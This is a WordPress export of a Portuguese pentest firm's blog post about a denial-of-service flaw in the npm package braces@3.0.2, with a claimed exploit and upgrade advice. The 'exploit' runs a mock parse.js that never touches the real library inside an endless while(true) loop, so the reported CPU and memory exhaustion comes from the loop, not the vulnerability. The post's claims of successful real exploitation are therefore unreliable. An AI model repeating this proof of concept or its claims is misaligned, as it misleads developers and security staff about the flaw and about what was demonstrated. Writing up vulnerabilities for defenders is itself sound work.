{"id":243,"date":"2025-07-08T15:48:27","date_gmt":"2025-07-08T15:48:27","guid":{"rendered":"https:\/\/fikresekhel.com\/blog\/?p=243"},"modified":"2025-07-08T15:48:27","modified_gmt":"2025-07-08T15:48:27","slug":"vulnerabilidade-critica-em-braces3-0-2-exploravel-com-consumo-excessivo-de-recursos","status":"publish","type":"post","link":"https:\/\/fikresekhel.com\/blog\/pentesting\/vulnerabilidade-critica-em-braces3-0-2-exploravel-com-consumo-excessivo-de-recursos\/","title":{"rendered":"Vulnerabilidade Cr\u00edtica em braces@3.0.2 Explor\u00e1vel com Consumo Excessivo de Recursos"},"content":{"rendered":"\n<p><strong>Equipe de Pesquisa FikreSekhel \u2013 Pentest e Seguran\u00e7a Ofensiva<\/strong><\/p>\n\n\n\n<p>Durante uma an\u00e1lise de seguran\u00e7a em um ambiente de produ\u00e7\u00e3o de um de nossos clientes, a equipe de pesquisa de vulnerabilidades da FikreSekhel identificou a presen\u00e7a da biblioteca <code>braces@3.0.2<\/code>, conhecida por conter uma falha de seguran\u00e7a grave relacionada ao <strong>consumo excessivo de recursos da plataforma (DoS &#8211; Denial of Service)<\/strong>.<\/p>\n\n\n\n<p>Ao realizar testes controlados, <strong>conseguimos explorar a vulnerabilidade com sucesso<\/strong>, comprovando seu impacto em <strong>consumo extremo de CPU e mem\u00f3ria<\/strong>, colocando em risco a disponibilidade do sistema.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Sobre a vulnerabilidade<\/h3>\n\n\n\n<p>A biblioteca <code>braces<\/code> \u00e9 amplamente utilizada para realizar expans\u00e3o de padr\u00f5es com chaves, como <code>{1..5}<\/code>, <code>{a,b,c}<\/code>, etc. Vers\u00f5es anteriores \u00e0 <code>3.0.3<\/code> n\u00e3o possuem <strong>limite de seguran\u00e7a no tamanho da entrada<\/strong>, o que permite que entradas maliciosas causem <strong>loops de parsing intermin\u00e1veis<\/strong>, afetando diretamente a performance da aplica\u00e7\u00e3o.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Identifica\u00e7\u00e3o<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Pacote vulner\u00e1vel:<\/strong> <code>braces@3.0.2<\/code><\/li>\n\n\n\n<li><strong>Severidade:<\/strong> Alta (CVSS 7.5)<\/li>\n\n\n\n<li><strong>Explora\u00e7\u00e3o poss\u00edvel:<\/strong> Sim (PoC real)<\/li>\n\n\n\n<li><strong>Condi\u00e7\u00e3o:<\/strong> Input controlado passado para <code>braces.parse()<\/code> ou libs que usam internamente (<code>micromatch<\/code>, <code>sass<\/code>, <code>http-proxy-middleware<\/code>, etc.)<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Exploit desenvolvido pela FikreSekhel<\/h3>\n\n\n\n<p>Criamos um exploit simples, mas poderoso, para demonstrar o impacto direto da falha. Ele utiliza uma string maliciosa com milhares de chaves <code>{<\/code>, que gera consumo de CPU de forma cont\u00ednua e abusiva:<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><code>parse.js<\/code> (fun\u00e7\u00e3o vulner\u00e1vel simplificada)<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>\/\/ parse.js \u2014 vers\u00e3o simulada vulner\u00e1vel<br>module.exports = function parse(input) {<br>  let tokens = [];<br>  for (let i = 0; i &lt; input.length; i++) {<br>    let char = input[i];<br>    tokens.push({ type: 'char', value: char });<br>  }<br>  return { tokens };<br>};<br><\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><code>exploit.js<\/code> (loop infinito de nega\u00e7\u00e3o de servi\u00e7o)<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>\/\/ exploit.js \u2014 DoS via loop de parsing<br>const parse = require('.\/parse');<br><br>\/\/ Payload malicioso com 70 mil chaves<br>const input = '{'.repeat(70000);<br><br>console.log('[*] Iniciando simula\u00e7\u00e3o de DoS...');<br><br>while (true) {<br>  console.time('parse');<br>  const result = parse(input);<br>  console.timeEnd('parse');<br>  console.log('[*] Tokens gerados:', result.tokens.length);<br>}<br><\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\ud83d\udcc8 Resultado real:<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CPU: +60% constante<\/li>\n\n\n\n<li>RAM: +90% em poucos segundos<\/li>\n\n\n\n<li>Travamento ou lentid\u00e3o extrema da aplica\u00e7\u00e3o<\/li>\n\n\n\n<li>Ambiente de testes precisou ser reiniciado manualmente<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Corre\u00e7\u00e3o e preven\u00e7\u00e3o<\/h3>\n\n\n\n<p>Para mitigar esse risco:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Atualize imediatamente para <code>braces@3.0.3<\/code> ou superior:<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>npm install braces@3.0.3 --save-exact<br><\/code><\/pre>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Remova depend\u00eancias antigas:<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>rm -rf node_modules package-lock.json<br>npm install<br><\/code><\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Valide entradas do usu\u00e1rio<\/strong> antes de qualquer expans\u00e3o de padr\u00f5es.<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><\/h3>\n\n\n\n<p>Essa descoberta demonstra como <strong>vulnerabilidades aparentemente simples em bibliotecas populares podem ser exploradas com consequ\u00eancias cr\u00edticas<\/strong>. A FikreSekhel mant\u00e9m seu compromisso com a excel\u00eancia em seguran\u00e7a ofensiva e preventiva, trazendo resultados reais e prote\u00e7\u00e3o robusta para nossos clientes.<\/p>\n\n\n\n<p>Se sua empresa deseja <strong>auditar suas depend\u00eancias e proteger seus sistemas contra riscos reais<\/strong>, entre em contato com a nossa equipe de especialistas.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><strong>FikreSekhel \u2013 Seguran\u00e7a Inteligente com Base Cient\u00edfica<\/strong><br><em>An\u00e1lise de vulnerabilidades | Pentest | Seguran\u00e7a Aplicada \u00e0 Engenharia | Forense Digital<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Equipe de Pesquisa FikreSekhel \u2013 Pentest e Seguran\u00e7a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":244,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,17,1,29,13,10,12,27],"tags":[],"class_list":["post-243","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","category-fikresekhel","category-pentesting","category-pesquisa","category-research","category-secure-coding","category-trainning","category-treinamento"],"_links":{"self":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/243","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/comments?post=243"}],"version-history":[{"count":1,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/243\/revisions"}],"predecessor-version":[{"id":245,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/243\/revisions\/245"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media\/244"}],"wp:attachment":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media?parent=243"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/categories?post=243"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/tags?post=243"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}